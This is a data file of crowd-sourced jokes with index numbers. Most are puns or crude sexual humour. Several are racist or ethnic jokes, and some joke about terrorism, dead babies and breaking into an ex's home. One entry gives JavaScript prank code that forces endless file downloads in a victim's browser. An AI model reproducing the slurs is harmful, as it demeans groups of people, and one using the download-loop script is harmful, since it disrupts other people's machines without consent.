text stringlengths 3 40k | __index_level_0__ int64 0 579k |
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A bought my girlfriend bondage supplies as a gag gift She was at a loss for words | 575,892 |
How many quarters does it take to play the Lord of the rings pinball game? None, it only takes Tolkiens | 575,893 |
What do you call an easter extremist? The middle easter bunny
| 575,894 |
What's brown and rhymes with Snoop? Poop | 575,895 |
How do you get elected president of my pants? By the vote of the Erectional College... | 575,896 |
What's a dentist's favorite time? 2:30 | 575,897 |
Why didn't you visit Chad? Cause he wasn't my Niger. | 575,898 |
JavaScript Pranks! (with jQuery) Use this code (needs jQuery):
document.write("<div style=\"display: none;\"><a id=\"prank\" href=\"stink.poop\" download=\"HaHaHaFunny.POOPFACE\">POOP</a></div>");
while (true) {
$("#prank").get(0).click();
}
That script downloads "HaHaHaFunny.POOPFACE" in an infinite loop! | 575,899 |
What does the alcoholic drink when he complains wine
(kinda sorry) | 575,900 |
I was feeling up for it last night so I had a fap over an ex girlfriend ...I kept a key and let myself in | 575,901 |
Did you hear that there's a new "Divorced Barbie"? Yeah - she comes with all of Ken's stuff. | 575,902 |
My girlfriend got a tattoo of a seashell on her inner thigh... ...and if I put my ear against it I can smell the ocean | 575,903 |
Goofy Russian joke A bear chased two hunters up a tree and is climbing to get them. One hunter says - 'Don't worry, I'll shoot one of his balls off'. He fired but the bear keeps climbing. The hunter says 'Don't worry, I'll shoot his dick off now.' The second hunter screams - 'Shoot him in the head, he's not climbing here to fuck us'. | 575,904 |
A woman with split personalities works in the clothing department. She is the cashier, but often believes that she is a customer. She thinks that because of this she'll never go anywhere in her life, but she's just selling herself shorts. | 575,905 |
Why do ducks have small feet? To stomp out small fires. Why do elephants have big feet? To stomp out burning ducks. | 575,906 |
After my wife left me, I was told there was a ton of other fish in the sea. It made sense. Now I'm a ichthyophile. | 575,907 |
What do you call the Israeli martial art? Jewjipsu | 575,908 |
TIFU by posting in the wrong sub. ;) | 575,909 |
If there was ever a woman named Juana.. I would marry Juana. | 575,911 |
I always wanted to be Batman when I was younger. Not because of the money or the gadgets. I just hated my parents. | 575,912 |
How do you get a nun pregnant? You fuck her | 575,913 |
Why did the chicken cross the road? To get to the idiot's house.
Knock Knock.
"Who's there?"
The chicken. | 575,914 |
Arnold Schwarzenegger is stopped by border patrol and is asked whether he has any sort of legal documentation that allows him into the country He pulls out a polished looking document and says, "A stellar visa, baby!" | 575,915 |
Why are Aspirins white? Because they work. | 575,916 |
I'd do anything to never be hungover again Except stop drinking | 575,917 |
So it is my anniversary I couldn't think of what to get her...
But I finally settled on a plunger, because bitches love bringing up old shit | 575,918 |
a friend just told me this A family walks into a hotel and the father goes to the front desk and says "I hope the porn is disabled." The guy at the desk replies. "It's just regular porn you sick fuck." | 575,919 |
Have you ever had Ethiopian food? No? Either have they. | 575,920 |
How do you call a vegetarian that only eats basmati? ricest | 575,921 |
The architect's son. There was a man whose mother was an architect. Over time he had developed a sexual attraction to his mother's designs. Psychologists have recorded this as the world's first case of an Edifice Complex. | 575,922 |
What do you call a lesbian dinosaur? Lickalotapus | 575,923 |
Doctors are funny ! A doctor was talking with his shrink. He was feeling guilty about having sex with his one of his patients.
“ I know these things happen but I just can't get it out of my mind. What do you think I can do ?”
The psychiatrist looked at him intently and said “ Maybe you should refer your patient to another vet.” | 575,924 |
I would like to tell you a remarkably sophisticated joke........... What did one tampon say to the other?
Nothing, because they were both stuck up cunts. | 575,925 |
I met a pervy magician once... ...His name was David Cop-a-feel. | 575,926 |
Guess your Blood Type (OC) A son one day is curious about his blood type. He asks his dad, "Dad, what's my blood type?"
The Dad says, "Son, please guess"
The son says, "Am I type AB?"
The Dad replies, "Well son, close, your Mom is type A, I am Type B, but you are O - dopted!" | 575,927 |
Two angels run out of weed... One angel is very upset but the other consoles him. "fear not," he says and points at Jesus. "for he has resin." | 575,928 |
Reddit is like the dentist. No matter what you're doing, it's wrong. | 575,929 |
What does the segway called oppression? Segwaygation | 575,930 |
A newlywed couple, both virgins, arrived at their hotel room on their wedding night... The bride quickly slipped into the bathroom to get a shower and "get ready." The groom, assuming she'd be a while, decided to go down to the hotel lounge for a shot of courage. After a little while, a man sitting next to him asked him why he seemed so nervous. The groom told the man that it was his wedding night. He then admitted that he was a virgin, and he wasn't really sure exactly what he was supposed to do. The man asked him, "What room are you staying in?" The groom replied, "710." "Well, I'm staying right next door in 712! I'll tell you what, if you have any problems tonight, you just holler real loud -- I should be able to hear through the wall -- and I'll tell you what to do!" The groom, feeling a bit more courageous, then returned to his room to find his wife already in the bed, giggling nervously. He hurried into the bathroom to get a quick shower. Suddenly, she had the urge to take a major shit. She looked around and realized that she couldn't go into the bathroom while he was in there taking a shower! What could she do? She couldn't hold it any longer, so she took the shoe box that held her wedding shoes, threw the shoes across the room, and promptly relieved herself in the box. As soon as she was done, she heard him getting ready to come out of the bathroom, so she quickly slid the box under the bed and turned out the light. He came out of the bathroom a few seconds later and stumbled in the dark towards the bed. He misjudged the distance and his foot went under the bed, right into the shoe box. He screamed, "THERE'S SHIT IN THIS BOX!!!" From the room next door came a strong, reassuring voice, "TURN HER OVER!" | 575,931 |
what did 1 floating british boat say to the other i believe its about high tide for some tea | 575,932 |
How do dragons in Antarctica stay warm? They always have several lairs. | 575,933 |
There was a robbery in Antarctica, but it was stopped. There was even a party to celebrate Justice was served | 575,934 |
What did the fish say when it ran into a wall? Damn. | 575,935 |
Have you heard about the Dolphins in Japan that are killing themselves? The scientists think they may be doing it on porpoise. | 575,936 |
What's Whitney Houston's favorite kind of coordination? HAND-EEEEYYYYYYYYYYYYEEEEEE | 575,937 |
What do you call a bee that comes from US? USB !!
sorry, I am going to shoot myself now! | 575,938 |
The new Arsenal bra in their fan store Lots of support but no cups :/ | 575,939 |
What's red, and bad for your teeth? A brick. | 575,940 |
Why was the Chinese chef embarrassed to change into his uniform? Because of the Peking Duck. | 575,941 |
Wanna hear a joke? Women's Rights | 575,942 |
My ex-girlfriend and I weren't compatible.. I was an Aquarius and she was a bitch.
Anybody got any they wanna share? | 575,943 |
A truck driver named Bill is driving down a deserted Arizona highway... ...and he sees a beautiful woman hitchhiking. He thought it was strange that she wasn't standing near a car, but he picks her up anyway. As they are about to drive away he asks her "what are you doing in the middle of nowhere?" She pulls a gun out of her purse and says "I am taking your truck, that is what I'm doing. Get out!" He gets out and she says "take off all your clothes and toss them up to the cab." He complies. She tosses down two pairs of handcuffs and tells him to handcuff each wrist to each ankle. He complies. She takes off. No vehicle passes by for what seems like an hour. Finally another truck approaches and stops right by him. The driver looks out of his window and says "Bill is that you?" Bill says "yeh, it's me, it's me." The other driver says "man, what happened to you?" Bill says "I picked up this girl hitchhiking. She had a gun. She took my clothes, she took my wallet, she took my truck. I've been out here for an hour!" The other truck driver gets out of his truck, starts to unzip his pants, and says, "Bill man, you're having a fucked up day!" | 575,944 |
I'm a great salsa dancer. I make a big splash! | 575,945 |
WELL I GOT A REDDIT
be happy. | 575,946 |
The "am I racist" test First answer that comes to your mind - Whose penis is bigger, Will Smith or Yao Ming? | 575,947 |
The Energizer Bunny was arrested this morning. Have you heard about this? Yeah, police say he was charged with battery. | 575,948 |
Why is ISIS so good at sports? Even in high-intensity games they always manage to execute | 575,949 |
What's the difference between a dirty bus terminal and a large-breasted crab? One's a crusty bus station and the other is a busty crustacean. | 575,950 |
What did the kid say to his nanny when she stubbed her toe while trying to catch him? Nana boo boo | 575,951 |
What basketball team does a vampire play for? The New York Necks | 575,952 |
A woman walked into a bar and asked the bartender for a double-entendre... so he gave it to her. | 575,953 |
What does DNA stand for? National Dyslexics Association | 575,954 |
Top 10 Things Men Know About Women Top Ten Things Men Know About Women...
10.
9.
8.
7.
6.
5.
4.
3.
2.
1.
| 575,955 |
What happened to the native man that drank 23 cups of tea? He went home and drowned in his tea pee. | 575,956 |
Whats the best time to go to the dentist? 4:30pm
It let's you out of work a bit early with a valid excuse | 575,957 |
A young boy went to spend the long weekend with his grandparents.. ..and on a lazy Saturday afternoon the boy and his grandpa are sitting on the front porch listening to the baseball game on the radio.
Grandpa lights a cigar and the boy asks: "hey grandpa, that looks neat. Can I try some of your cigar?" Grandpa replies: "well, I don't know boy. Can you make your wee wee touch your butthole?" Little boy replies: "no, grampa I can't, I have a little wee wee." "Well then, you're still too young to have a cigar. Why don't you go grab me a beer from the fridge?"
The little boy goes in the house and fetches a beer for his grandfather.
Grandpa cracks the beer and takes a big gulp, letting out a refreshed "ahhhhh." Little boy says: "grampa that beer must taste really good, can I try a sip?" "Well boy, can your wee wee touch your butthole yet?" "Grampa I told you I have a little wee wee, it can't reach my butthole." "Well then you're too young to have beer boy."
Later into the afternoon, the ballgame is over and grandpa is on the porch alone. He crushes out his cigar and heads into the house to grab another beer. He sees his grandson parked on the couch in front of the television with a plate full of cookies and a big glass of milk.
"Well where'd you get those cookies junior?" "Gramma made em for me." "They look delicious, can I have one?" "Well, I don't know grampa...can your wee wee touch your butthole?" "Well it sure can!" responds gramps.
"Well go fuck yourself, old man. These are my cookies."
| 575,959 |
I like my women how I like my exams... Curvy. | 575,960 |
What do you call a candelabra that refuses to hold candles? A candle-nah-brah | 575,961 |
What did the American Chef say to the Asian Chef? Take a wok. | 575,962 |
"Have you heard about the movie constipation?" "It hasn't come out yet." | 575,963 |
Wanna hear a joke about ebola? Nevermind, you won't get it. | 575,964 |
I remember the first time I saw a universal remote control I thought to myself "this changes everything" | 575,965 |
What do you get when two pieces of poop marry each other? A shitty relationship | 575,966 |
I was at an ATM the other day... I was at an ATM the other day where an elderly lady was in front of me. I could see she was having some trouble trying to use the machine. After a few minutes she gave up and asked if I could help her check her balance.
So I pushed her over. | 575,967 |
A Conductor on a train... There once was this guy who worked for the Railroad as a conductor. Let's say his name was Joe. Well, Joe was walking through the train, en route, collecting tickets from the passengers. He comes to car 12, booth 3. In it was a man.
So, he asked him for his ticket: "Excuse me sir, do have your ticket?"
"Oh, I am soooo sorry, I dropped it out the window by accident," he replied.
"Sorry sir, can't have any passengers without tickets." He grabbed him by the scruff of the neck and threw him out of the train. Well, he landed on the tracks and was run over by the train. Naturally, the conductor was arrested and thrown in jail. He was convicted of murder before a jury of his peers, and sentenced to death by electrocution.
The day of his execution came up, and he was asked what he would like for his last meal. He asks for a banana. They gave it to him, he ate it, received his last rites, and was escorted to the chair. The executioner strapped him in, hooked everything up. Last, he threw the big switch once, and nothing happened. So, he did it again, and nothing happened. Well, by law the guy was legally dead, so they had to release him.
Oddly enough, the guy got a job on another railroad, as a conductor! One day, he was gathering tickets, and came to a booth with a little boy.
"Young man, do you have your ticket?", asked the conductor.
"A-a-a, I'm sorry, I ate it by mistake..", said the little boy.
And.. the same thing happened -- the boy was thrown off the train and killed. The guy was arrested, sentenced to death by electrocution. It came to him last day. The death row guard asked him what he would like for his meal. He asked for banana again. He ate it, and a priest gave him last rites.
He was escorted to the death chamber. This time, though, they were smart.
They washed his hands to get rid of any banana slime, they washed up the chair. Next, they placed him the chair, and hooked him up. The switch-puller pulled the switch once, and nothing happened. The switch-puller pulled the switch twice, and nothing happened, not even a single hair raising on the guy's chest.
Well, as the law says, they had to let him go...
Even more amazingly, he got a job on yet another railroad.
This time it was a rabbi. Same old stuff. Rabbi had no ticket (he forgot to buy it). Guy threw him off the train, rabbi died. Guy was arrested, convicted, sentenced to death by electrocution.
When the guard asked him what he would like for a last meal, he asked for a banana. He ate it, received last rites, and was escorted to the chamber.
However, this time the officials where going to get it right! They scrubbed his body with a brillo pad. They scrubbed the chair with steel wool. They tried the chair on a few other prisoners...
Okay, they strapped him in, and threw the switch once, nothing happened. Threw the switch a second time, nothing happened. At this point the guy was legally dead, etc, etc.
But, before the guy could leave, the executioner, extremely frustrated (he'd seen this same guy three times already). asked, "What is it with the banana!"
The guy replied, "I just like bananas."
So, the executioner screamed, "THEN HOW COME YOU DON'T DIE!!!!!"
"I dunno," replied the guy, "I guess I'm just not a very good conductor."
| 575,968 |
Did you hear Miley Cyrus and her new boyfriend broke up? It wasn't twerking out. | 575,969 |
Widdel Wabbits
A precious little girl walks into a pet shop and asks, in the sweetest little lisp, between two missing teeth,
"Excuthe me, mithter, do you keep widdle wabbits?"
As the shopkeeper's heart melts, he gets down on his knees so that he's on her level and asks,
"Do you want a widdle white wabbit, or a thoft and fuwwy bwack wabbit, or maybe one like that cute widdle bwown wabbit over there?"
She, in turn, blushes, rocks on her heels, puts her hands on her knees, leans forward and says, in a tiny quiet voice,
"I don't think my python weally gives a thit."
| 575,970 |
IN CIDER A little girl cuts her hand on the playground and runs crying to the teacher. She asks the teacher for a glass of cider.
"Why do you want a glass of cider?" the teacher asks.
"To take away the pain," sobs the little girl.
"What do you mean?" the teacher asks.
"Well," sobs the little girl. "I overheard my big sister say that whenever she has a prick in her hand, she can't wait to get it in cider." | 575,971 |
Which Nordic country should you never be a part of? Finland.
Once you're a citizen, that's it!
You're Finnish! It's over. | 575,972 |
What do the English and Welsh have in common? Kids are their definition of a good time. | 575,973 |
What's the stupidest animal in the jungle? The Polar bear. | 575,974 |
Three Salesmen are Lost There are 3 **separate** travelling salesmen travelling across the country and they all end up getting lost.
The first lost salesman manages to find a farm. He goes to the door and knocks. An old farmer answers it.
"What do yer want?" He question the salesman.
"Oh please sir, I'm lost and I need a place to stay the night. Please can you let me in?"
"I won't let yer in, but yer can stay in the barn." The farmer replied, leading him down to the barn. He opened the barn door and let the sales man in. "If I catch yer anywhere near my daughter, yer gonna regret it."
A little while later, the second travelling salesman, also lost, ends up at the same farm. He knocks on the door and the farmer lets the second salesman stay in barn, once again reminding both salesmen of the deal they have about staying away from the daughter.
A little while later, well into the night, the third travelling salesman ends up at the same farm, and gets the same treatment as the other two salesmen.
Sometime in the night, the farmers daughter, seeing all the young, good looking salesmen, decides to go down to the barn to "entertain them".
The farmer, hearing thumping and moans coming from the barn, grabs his shotgun and heads down to the barn. He throws open the door.
"WHAT ARE YER DOIN'"? He screamed at all three of salesmen. He pointed his shotgun at the salesmen. "Get out ter that field, and bring me a fruit." The farmer stood outside the barn as the three travelling salesmen ran off to field to grab a fruit.
The first salesman returns to the farmer with a grape. The farmer points his gun at the salesman. "Considering yer got yer pants down, stick that grape up yer ass while keeping a straight face, if yer don't, I'll shoot yeh."
The salesman prepares himself and, easily, shoves the grape up his ass without wincing, smiling, or crying. The first salesman manages to escape.
The second travelling salesman returns with a strawberry. The farmer tells him the same things, but just before the salesman is about to shove it up, he burst out laughing.
"WHATS SO FUNNY?" The farmer asks angrily.
"Look at who's coming with the watermelon." | 575,975 |
Two caw are standing in a field Cow 1: Did you hear about the outbreak of mad cow disease?
Cow 2: Good thing I'm a helicopter. | 575,976 |
A better butt A woman decides she wants a bigger, more beautiful behind, so she signs up for surgery to get her current butt removed and replaced with a more shapely model.
The following day she gets on the operating table for her surgery. Her current rear was removed, the new one was added, and all the important parts were attached in the space of an hour or so.
Just as she gets out to the waiting room, her significant other texts her a joke. She manages to reply before they take her back to the operating table: "lmao". | 575,977 |
TV is the best girlfriend Because, no matter what happens, I can always turn it on. | 575,978 |
What's even more horrible than a dead baby in a trash can? A dead baby in two trash cans. | 575,979 |
I've been trying to hide my erectile dysfunction from my girlfriend... But I just don't think I can keep it up for much longer. | 575,980 |
"just got my rejection letter from MENSA" -idiots. | 575,981 |
Is it true that cannibals don't eat clowns because they taste funny? | 575,982 |
Does anyone want to buy a vacuum cleaner? Mine is just collecting dust at the moment. | 575,983 |
T and V loved each other and never cared that U is in between. Why ? Because Fuck U | 575,984 |
The story of a heroic husband ....
Wife to her husband - How do I look? I just came back from the beauty salon....
Husband - Well. Was it closed? | 575,985 |
I had to take my horse to get surgery last week. The doctor told me he's in stable condition. | 575,986 |
My son loves to raise chicken. He a chick magnet. | 575,987 |
My friend just landed a boob job the perks are great | 575,988 |
Man goes to a wizard A man goes to see a wizard and says:
"Can you lift a curse that a priest put on me years ago?"
"Maybe," says the wizard, "Can you remember the exact words of the curse?"
The man replies, "I pronounce you man and wife." | 575,989 |
Ever tried anal sex? Its fucking shit. | 575,990 |
What do you call iron man and silver surfer when they work together? Alloys. | 575,991 |
12 Inch Pianist So a guy walks into a bar one day and he can’t believe his eyes. There, in the corner, there’s this one-foot-tall man, in a little tuxedo, playing a tiny grand piano.
So the guy asks the bartender, “Where’d he come from?”
And the bartender’s, like, “There’s a genie in the men’s room who grants wishes.”
So the guy runs into the men’s room and, sure enough, there’s this genie. And the genie’s, like, “Your wish is my command.” So the guy’s, like, “O.K., I wish for world peace.” And there’s this big cloud of smoke—and then the room fills up with geese.
So the guy walks out of the men’s room and he’s, like, “Hey, bartender, I think your genie might be hard of hearing.”
And the bartender’s, like, “No kidding. You think I wished for a twelve-inch pianist?”
So the guy processes this. And he’s, like, “Does that mean you wished for a twelve-inch penis?”
And the bartender’s, like, “Yeah. Why, what did you wish for?”
And the guy’s, like, “World peace.”
So the bartender is understandably ashamed.
And the guy orders a beer, like everything is normal, but it’s obvious that something has changed between him and the bartender.
And the bartender’s, like, “I feel like I should explain myself further.”
And the guy’s, like, “You don’t have to.”
But the bartender continues, in a hushed tone. And he’s, like, “I have what’s known as penile dysmorphic disorder. Basically, what that means is I fixate on my size. It’s not that I’m small down there. I’m actually within the normal range. Whenever I see it, though, I feel inadequate.”
And the guy feels sorry for him. So he’s, like, “Where do you think that comes from?”
And the bartender’s, like, “I don’t know. My dad and I had a tense relationship. He used to cheat on my mom, and I knew it was going on, but I didn’t tell her. I think it’s wrapped up in that somehow.”
And the guy’s, like, “Have you ever seen anyone about this?”
And the bartender’s, like, “Oh, yeah, I started seeing a therapist four years ago. But she says we’ve barely scratched the surface.”
So, at around this point, the twelve-inch pianist finishes up his sonata. And he walks over to the bar and climbs onto one of the stools. And he’s, like, “Listen, I couldn’t help but overhear the end of your conversation. I never told anyone this before, but my dad and I didn’t speak the last ten years of his life.”
And the bartender’s, like, “Tell me more about that.” And he pours the pianist a tiny glass of whiskey.
And the twelve-inch pianist is, like, “He was a total monster. Beat us all. Told me once I was an accident.”
And the bartender’s, like, “That’s horrible.”
And the twelve-inch pianist shrugs. And he’s, like, “You know what? I’m over it. He always said I wouldn’t amount to anything, because of my height? Well, now look at me. I’m a professional musician!”
And the pianist starts to laugh, but it’s a forced kind of laughter, and you can see the pain behind it. And then he’s, like, “When he was in the hospital, he had one of the nurses call me. I was going to go see him. Bought a plane ticket and everything. But before I could make it back to Tampa . . .”
And then he starts to cry. And he’s, like, “I just wish I’d had a chance to say goodbye to my old man.”
And all of a sudden there’s this big cloud of smoke—and a beat-up Plymouth Voyager appears!
And the pianist is, like, “I said ‘old man,’ not ‘old van’!”
And everybody laughs. And the pianist is, like, “Your genie’s hard of hearing.”
And the bartender says, “No kidding. You think I wished for a twelve-inch pianist?”
And as soon as the words leave his lips he regrets them. Because the pianist is, like, “Oh, my God. You didn’t really want me.”
And the bartender’s, like, “No, it’s not like that.” You know, trying to backpedal.
And the pianist smiles ruefully and says, “Once an accident, always an accident.” And he drinks all of his whiskey.
And the bartender’s, like, “Brian, I’m sorry. I didn’t mean that.”
And the pianist smashes his whiskey glass against the wall and says, “Well, I didn’t mean that.”
And the bartender’s, like, “Whoa, calm down.”
And the pianist is, like, “Fuck you!” And he’s really drunk, because he’s only one foot tall and so his tolerance for alcohol is extremely low. And he’s, like, “Fuck you, asshole! Fuck you!” | 575,992 |
After a particularly brutal battle with his fellow Avengers, Thor decides to relax at a local watering hole.... He drinks and drinks, barrels of beer and mead. After some time, he hits it off with a cute local girl and takes her back to Avengers Tower to show her his little Mjolnir.
He wakes in the morning, satisfied, and looks at the girl sleeping next to him. The poor thing is battered, with a busted lip and bruises all over her face and body. He gently shakes her awake and asks, "Are you okay?"
"Oh my god," she says groggily. "Hon, you were great, but a little rough.'
"Well, I *am* Thor!" says the God of Thunder.
***"YOU'RE*** Thor!" exclaims the girl, "I'm tho Thor i can barely thpeak!" | 575,993 |
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